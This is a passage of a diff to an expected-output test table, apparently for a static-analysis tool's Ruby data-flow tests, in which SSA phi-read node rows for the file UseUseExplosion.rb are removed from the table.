@@ -982,11 +761,7 @@
 | UseUseExplosion.rb:20:1169:20:1178 | ... > ... | UseUseExplosion.rb:20:1168:20:1179 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1169:20:1178 | ... > ... | UseUseExplosion.rb:20:1168:20:1179 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1177:20:1178 | 45 | UseUseExplosion.rb:20:1169:20:1178 | ... > ... |
-| UseUseExplosion.rb:20:1181:20:2804 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1181:20:2804 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1181:20:2804 | then ... | UseUseExplosion.rb:20:1165:20:2820 | if ... |
-| UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(self) | UseUseExplosion.rb:20:1181:20:2804 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(x) | UseUseExplosion.rb:20:1181:20:2804 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1186:20:2804 | if ... | UseUseExplosion.rb:20:1181:20:2804 | then ... |
 | UseUseExplosion.rb:20:1190:20:1194 | @prop | UseUseExplosion.rb:20:1190:20:1199 | ... > ... |
 | UseUseExplosion.rb:20:1190:20:1194 | [post] self | UseUseExplosion.rb:20:1211:20:1215 | self |
@@ -996,11 +771,7 @@
 | UseUseExplosion.rb:20:1190:20:1199 | ... > ... | UseUseExplosion.rb:20:1189:20:1200 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1190:20:1199 | ... > ... | UseUseExplosion.rb:20:1189:20:1200 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1198:20:1199 | 44 | UseUseExplosion.rb:20:1190:20:1199 | ... > ... |
-| UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1202:20:2788 | then ... | UseUseExplosion.rb:20:1186:20:2804 | if ... |
-| UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(self) | UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(x) | UseUseExplosion.rb:20:1202:20:2788 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1207:20:2788 | if ... | UseUseExplosion.rb:20:1202:20:2788 | then ... |
 | UseUseExplosion.rb:20:1211:20:1215 | @prop | UseUseExplosion.rb:20:1211:20:1220 | ... > ... |
 | UseUseExplosion.rb:20:1211:20:1215 | [post] self | UseUseExplosion.rb:20:1232:20:1236 | self |
@@ -1010,11 +781,7 @@
 | UseUseExplosion.rb:20:1211:20:1220 | ... > ... | UseUseExplosion.rb:20:1210:20:1221 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1211:20:1220 | ... > ... | UseUseExplosion.rb:20:1210:20:1221 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1219:20:1220 | 43 | UseUseExplosion.rb:20:1211:20:1220 | ... > ... |
-| UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1223:20:2772 | then ... | UseUseExplosion.rb:20:1207:20:2788 | if ... |
-| UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(self) | UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(x) | UseUseExplosion.rb:20:1223:20:2772 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1228:20:2772 | if ... | UseUseExplosion.rb:20:1223:20:2772 | then ... |
 | UseUseExplosion.rb:20:1232:20:1236 | @prop | UseUseExplosion.rb:20:1232:20:1241 | ... > ... |
 | UseUseExplosion.rb:20:1232:20:1236 | [post] self | UseUseExplosion.rb:20:1253:20:1257 | self |
@@ -1024,11 +791,7 @@
 | UseUseExplosion.rb:20:1232:20:1241 | ... > ... | UseUseExplosion.rb:20:1231:20:1242 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1232:20:1241 | ... > ... | UseUseExplosion.rb:20:1231:20:1242 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1240:20:1241 | 42 | UseUseExplosion.rb:20:1232:20:1241 | ... > ... |
-| UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1244:20:2756 | then ... | UseUseExplosion.rb:20:1228:20:2772 | if ... |
-| UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(self) | UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(x) | UseUseExplosion.rb:20:1244:20:2756 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1249:20:2756 | if ... | UseUseExplosion.rb:20:1244:20:2756 | then ... |
 | UseUseExplosion.rb:20:1253:20:1257 | @prop | UseUseExplosion.rb:20:1253:20:1262 | ... > ... |
 | UseUseExplosion.rb:20:1253:20:1257 | [post] self | UseUseExplosion.rb:20:1274:20:1278 | self |
@@ -1038,11 +801,7 @@
 | UseUseExplosion.rb:20:1253:20:1262 | ... > ... | UseUseExplosion.rb:20:1252:20:1263 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1253:20:1262 | ... > ... | UseUseExplosion.rb:20:1252:20:1263 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1261:20:1262 | 41 | UseUseExplosion.rb:20:1253:20:1262 | ... > ... |
-| UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1265:20:2740 | then ... | UseUseExplosion.rb:20:1249:20:2756 | if ... |
-| UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(self) | UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(x) | UseUseExplosion.rb:20:1265:20:2740 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1270:20:2740 | if ... | UseUseExplosion.rb:20:1265:20:2740 | then ... |
 | UseUseExplosion.rb:20:1274:20:1278 | @prop | UseUseExplosion.rb:20:1274:20:1283 | ... > ... |
 | UseUseExplosion.rb:20:1274:20:1278 | [post] self | UseUseExplosion.rb:20:1295:20:1299 | self |
@@ -1052,11 +811,7 @@
 | UseUseExplosion.rb:20:1274:20:1283 | ... > ... | UseUseExplosion.rb:20:1273:20:1284 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1274:20:1283 | ... > ... | UseUseExplosion.rb:20:1273:20:1284 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1282:20:1283 | 40 | UseUseExplosion.rb:20:1274:20:1283 | ... > ... |
-| UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1286:20:2724 | then ... | UseUseExplosion.rb:20:1270:20:2740 | if ... |
-| UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(self) | UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(x) | UseUseExplosion.rb:20:1286:20:2724 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1291:20:2724 | if ... | UseUseExplosion.rb:20:1286:20:2724 | then ... |
 | UseUseExplosion.rb:20:1295:20:1299 | @prop | UseUseExplosion.rb:20:1295:20:1304 | ... > ... |
 | UseUseExplosion.rb:20:1295:20:1299 | [post] self | UseUseExplosion.rb:20:1316:20:1320 | self |
@@ -1066,11 +821,7 @@
 | UseUseExplosion.rb:20:1295:20:1304 | ... > ... | UseUseExplosion.rb:20:1294:20:1305 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1295:20:1304 | ... > ... | UseUseExplosion.rb:20:1294:20:1305 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1303:20:1304 | 39 | UseUseExplosion.rb:20:1295:20:1304 | ... > ... |
-| UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1307:20:2708 | then ... | UseUseExplosion.rb:20:1291:20:2724 | if ... |
-| UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(self) | UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(x) | UseUseExplosion.rb:20:1307:20:2708 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1312:20:2708 | if ... | UseUseExplosion.rb:20:1307:20:2708 | then ... |
 | UseUseExplosion.rb:20:1316:20:1320 | @prop | UseUseExplosion.rb:20:1316:20:1325 | ... > ... |
 | UseUseExplosion.rb:20:1316:20:1320 | [post] self | UseUseExplosion.rb:20:1337:20:1341 | self |
@@ -1080,11 +831,7 @@
 | UseUseExplosion.rb:20:1316:20:1325 | ... > ... | UseUseExplosion.rb:20:1315:20:1326 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1316:20:1325 | ... > ... | UseUseExplosion.rb:20:1315:20:1326 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1324:20:1325 | 38 | UseUseExplosion.rb:20:1316:20:1325 | ... > ... |
-| UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1328:20:2692 | then ... | UseUseExplosion.rb:20:1312:20:2708 | if ... |
-| UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(self) | UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(x) | UseUseExplosion.rb:20:1328:20:2692 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1333:20:2692 | if ... | UseUseExplosion.rb:20:1328:20:2692 | then ... |
 | UseUseExplosion.rb:20:1337:20:1341 | @prop | UseUseExplosion.rb:20:1337:20:1346 | ... > ... |
 | UseUseExplosion.rb:20:1337:20:1341 | [post] self | UseUseExplosion.rb:20:1358:20:1362 | self |
@@ -1094,11 +841,7 @@
 | UseUseExplosion.rb:20:1337:20:1346 | ... > ... | UseUseExplosion.rb:20:1336:20:1347 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1337:20:1346 | ... > ... | UseUseExplosion.rb:20:1336:20:1347 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1345:20:1346 | 37 | UseUseExplosion.rb:20:1337:20:1346 | ... > ... |
-| UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1349:20:2676 | then ... | UseUseExplosion.rb:20:1333:20:2692 | if ... |
-| UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(self) | UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(x) | UseUseExplosion.rb:20:1349:20:2676 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1354:20:2676 | if ... | UseUseExplosion.rb:20:1349:20:2676 | then ... |
 | UseUseExplosion.rb:20:1358:20:1362 | @prop | UseUseExplosion.rb:20:1358:20:1367 | ... > ... |
 | UseUseExplosion.rb:20:1358:20:1362 | [post] self | UseUseExplosion.rb:20:1379:20:1383 | self |
@@ -1108,11 +851,7 @@
 | UseUseExplosion.rb:20:1358:20:1367 | ... > ... | UseUseExplosion.rb:20:1357:20:1368 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1358:20:1367 | ... > ... | UseUseExplosion.rb:20:1357:20:1368 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1366:20:1367 | 36 | UseUseExplosion.rb:20:1358:20:1367 | ... > ... |
-| UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1370:20:2660 | then ... | UseUseExplosion.rb:20:1354:20:2676 | if ... |
-| UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(self) | UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(x) | UseUseExplosion.rb:20:1370:20:2660 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1375:20:2660 | if ... | UseUseExplosion.rb:20:1370:20:2660 | then ... |
 | UseUseExplosion.rb:20:1379:20:1383 | @prop | UseUseExplosion.rb:20:1379:20:1388 | ... > ... |
 | UseUseExplosion.rb:20:1379:20:1383 | [post] self | UseUseExplosion.rb:20:1400:20:1404 | self |
@@ -1122,11 +861,7 @@
 | UseUseExplosion.rb:20:1379:20:1388 | ... > ... | UseUseExplosion.rb:20:1378:20:1389 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1379:20:1388 | ... > ... | UseUseExplosion.rb:20:1378:20:1389 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1387:20:1388 | 35 | UseUseExplosion.rb:20:1379:20:1388 | ... > ... |
-| UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1391:20:2644 | then ... | UseUseExplosion.rb:20:1375:20:2660 | if ... |
-| UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(self) | UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(x) | UseUseExplosion.rb:20:1391:20:2644 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1396:20:2644 | if ... | UseUseExplosion.rb:20:1391:20:2644 | then ... |
 | UseUseExplosion.rb:20:1400:20:1404 | @prop | UseUseExplosion.rb:20:1400:20:1409 | ... > ... |
 | UseUseExplosion.rb:20:1400:20:1404 | [post] self | UseUseExplosion.rb:20:1421:20:1425 | self |
@@ -1136,11 +871,7 @@
 | UseUseExplosion.rb:20:1400:20:1409 | ... > ... | UseUseExplosion.rb:20:1399:20:1410 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1400:20:1409 | ... > ... | UseUseExplosion.rb:20:1399:20:1410 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1408:20:1409 | 34 | UseUseExplosion.rb:20:1400:20:1409 | ... > ... |
-| UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1412:20:2628 | then ... | UseUseExplosion.rb:20:1396:20:2644 | if ... |
-| UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(self) | UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(x) | UseUseExplosion.rb:20:1412:20:2628 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1417:20:2628 | if ... | UseUseExplosion.rb:20:1412:20:2628 | then ... |
 | UseUseExplosion.rb:20:1421:20:1425 | @prop | UseUseExplosion.rb:20:1421:20:1430 | ... > ... |
 | UseUseExplosion.rb:20:1421:20:1425 | [post] self | UseUseExplosion.rb:20:1442:20:1446 | self |
@@ -1150,11 +881,7 @@
 | UseUseExplosion.rb:20:1421:20:1430 | ... > ... | UseUseExplosion.rb:20:1420:20:1431 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1421:20:1430 | ... > ... | UseUseExplosion.rb:20:1420:20:1431 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1429:20:1430 | 33 | UseUseExplosion.rb:20:1421:20:1430 | ... > ... |
-| UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1433:20:2612 | then ... | UseUseExplosion.rb:20:1417:20:2628 | if ... |
-| UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(self) | UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(x) | UseUseExplosion.rb:20:1433:20:2612 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1438:20:2612 | if ... | UseUseExplosion.rb:20:1433:20:2612 | then ... |
 | UseUseExplosion.rb:20:1442:20:1446 | @prop | UseUseExplosion.rb:20:1442:20:1451 | ... > ... |
 | UseUseExplosion.rb:20:1442:20:1446 | [post] self | UseUseExplosion.rb:20:1463:20:1467 | self |
@@ -1164,11 +891,7 @@
 | UseUseExplosion.rb:20:1442:20:1451 | ... > ... | UseUseExplosion.rb:20:1441:20:1452 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1442:20:1451 | ... > ... | UseUseExplosion.rb:20:1441:20:1452 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1450:20:1451 | 32 | UseUseExplosion.rb:20:1442:20:1451 | ... > ... |
-| UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1454:20:2596 | then ... | UseUseExplosion.rb:20:1438:20:2612 | if ... |
-| UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(self) | UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(x) | UseUseExplosion.rb:20:1454:20:2596 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1459:20:2596 | if ... | UseUseExplosion.rb:20:1454:20:2596 | then ... |
 | UseUseExplosion.rb:20:1463:20:1467 | @prop | UseUseExplosion.rb:20:1463:20:1472 | ... > ... |
 | UseUseExplosion.rb:20:1463:20:1467 | [post] self | UseUseExplosion.rb:20:1484:20:1488 | self |
@@ -1178,11 +901,7 @@
 | UseUseExplosion.rb:20:1463:20:1472 | ... > ... | UseUseExplosion.rb:20:1462:20:1473 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1463:20:1472 | ... > ... | UseUseExplosion.rb:20:1462:20:1473 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1471:20:1472 | 31 | UseUseExplosion.rb:20:1463:20:1472 | ... > ... |
-| UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1475:20:2580 | then ... | UseUseExplosion.rb:20:1459:20:2596 | if ... |
-| UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(self) | UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(x) | UseUseExplosion.rb:20:1475:20:2580 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1480:20:2580 | if ... | UseUseExplosion.rb:20:1475:20:2580 | then ... |
 | UseUseExplosion.rb:20:1484:20:1488 | @prop | UseUseExplosion.rb:20:1484:20:1493 | ... > ... |
 | UseUseExplosion.rb:20:1484:20:1488 | [post] self | UseUseExplosion.rb:20:1505:20:1509 | self |
@@ -1192,11 +911,7 @@
 | UseUseExplosion.rb:20:1484:20:1493 | ... > ... | UseUseExplosion.rb:20:1483:20:1494 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1484:20:1493 | ... > ... | UseUseExplosion.rb:20:1483:20:1494 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1492:20:1493 | 30 | UseUseExplosion.rb:20:1484:20:1493 | ... > ... |
-| UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1496:20:2564 | then ... | UseUseExplosion.rb:20:1480:20:2580 | if ... |
-| UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(self) | UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(x) | UseUseExplosion.rb:20:1496:20:2564 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1501:20:2564 | if ... | UseUseExplosion.rb:20:1496:20:2564 | then ... |
 | UseUseExplosion.rb:20:1505:20:1509 | @prop | UseUseExplosion.rb:20:1505:20:1514 | ... > ... |
 | UseUseExplosion.rb:20:1505:20:1509 | [post] self | UseUseExplosion.rb:20:1526:20:1530 | self |
@@ -1206,11 +921,7 @@
 | UseUseExplosion.rb:20:1505:20:1514 | ... > ... | UseUseExplosion.rb:20:1504:20:1515 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1505:20:1514 | ... > ... | UseUseExplosion.rb:20:1504:20:1515 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1513:20:1514 | 29 | UseUseExplosion.rb:20:1505:20:1514 | ... > ... |
-| UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1501:20:2564 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1517:20:2548 | then ... | UseUseExplosion.rb:20:1501:20:2564 | if ... |
-| UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(self) | UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(x) | UseUseExplosion.rb:20:1517:20:2548 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1522:20:2548 | if ... | UseUseExplosion.rb:20:1517:20:2548 | then ... |
 | UseUseExplosion.rb:20:1526:20:1530 | @prop | UseUseExplosion.rb:20:1526:20:1535 | ... > ... |
 | UseUseExplosion.rb:20:1526:20:1530 | [post] self | UseUseExplosion.rb:20:1547:20:1551 | self |
@@ -1220,11 +931,7 @@
 | UseUseExplosion.rb:20:1526:20:1535 | ... > ... | UseUseExplosion.rb:20:1525:20:1536 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1526:20:1535 | ... > ... | UseUseExplosion.rb:20:1525:20:1536 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1534:20:1535 | 28 | UseUseExplosion.rb:20:1526:20:1535 | ... > ... |
-| UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1522:20:2548 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1538:20:2532 | then ... | UseUseExplosion.rb:20:1522:20:2548 | if ... |
-| UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(self) | UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(x) | UseUseExplosion.rb:20:1538:20:2532 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1543:20:2532 | if ... | UseUseExplosion.rb:20:1538:20:2532 | then ... |
 | UseUseExplosion.rb:20:1547:20:1551 | @prop | UseUseExplosion.rb:20:1547:20:1556 | ... > ... |
 | UseUseExplosion.rb:20:1547:20:1551 | [post] self | UseUseExplosion.rb:20:1568:20:1572 | self |
@@ -1234,11 +941,7 @@
 | UseUseExplosion.rb:20:1547:20:1556 | ... > ... | UseUseExplosion.rb:20:1546:20:1557 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1547:20:1556 | ... > ... | UseUseExplosion.rb:20:1546:20:1557 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1555:20:1556 | 27 | UseUseExplosion.rb:20:1547:20:1556 | ... > ... |
-| UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1543:20:2532 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1559:20:2516 | then ... | UseUseExplosion.rb:20:1543:20:2532 | if ... |
-| UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(self) | UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(x) | UseUseExplosion.rb:20:1559:20:2516 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1564:20:2516 | if ... | UseUseExplosion.rb:20:1559:20:2516 | then ... |
 | UseUseExplosion.rb:20:1568:20:1572 | @prop | UseUseExplosion.rb:20:1568:20:1577 | ... > ... |
 | UseUseExplosion.rb:20:1568:20:1572 | [post] self | UseUseExplosion.rb:20:1589:20:1593 | self |
@@ -1248,11 +951,7 @@
 | UseUseExplosion.rb:20:1568:20:1577 | ... > ... | UseUseExplosion.rb:20:1567:20:1578 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1568:20:1577 | ... > ... | UseUseExplosion.rb:20:1567:20:1578 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1576:20:1577 | 26 | UseUseExplosion.rb:20:1568:20:1577 | ... > ... |
-| UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1564:20:2516 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1580:20:2500 | then ... | UseUseExplosion.rb:20:1564:20:2516 | if ... |
-| UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(self) | UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(x) | UseUseExplosion.rb:20:1580:20:2500 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1585:20:2500 | if ... | UseUseExplosion.rb:20:1580:20:2500 | then ... |
 | UseUseExplosion.rb:20:1589:20:1593 | @prop | UseUseExplosion.rb:20:1589:20:1598 | ... > ... |
 | UseUseExplosion.rb:20:1589:20:1593 | [post] self | UseUseExplosion.rb:20:1610:20:1614 | self |
@@ -1262,11 +961,7 @@
 | UseUseExplosion.rb:20:1589:20:1598 | ... > ... | UseUseExplosion.rb:20:1588:20:1599 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1589:20:1598 | ... > ... | UseUseExplosion.rb:20:1588:20:1599 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1597:20:1598 | 25 | UseUseExplosion.rb:20:1589:20:1598 | ... > ... |
-| UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1585:20:2500 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1601:20:2484 | then ... | UseUseExplosion.rb:20:1585:20:2500 | if ... |
-| UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(self) | UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(self) |
